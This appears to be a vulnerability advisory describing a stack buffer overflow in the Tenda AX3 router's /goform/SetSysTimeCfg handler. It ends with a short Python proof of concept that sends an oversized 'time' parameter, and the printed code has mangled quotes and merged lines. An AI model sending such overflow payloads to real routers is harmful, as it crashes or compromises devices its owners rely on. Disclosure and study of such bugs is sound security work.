Tenda Router AX3 Vulnerability
This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda Router AX3. (V16.03.12.10_CN)
Vulnerability description
There is a stack buffer overflow vulnerability in the fromSetSysTime function.
The v9 variable is directly retrieved from the http request parameter time.
Then v9 will be splice to stack by function sscanf without any security check,which causes stack overflow.

So by POSTing the page /goform/SetSysTimeCfg with proper time, the attacker can easily perform a Remote Code Execution with carefully crafted overflow data.

import requests from pwn import *
url = “http://192.168.0.1/goform/SetSysTimeCfg”
timeType = “manual”
time = "2022-01-01 " time += “a” * 1024
r = requests.post(url, data={’timeType’: timeType, 'time’: time}) print(r.content)
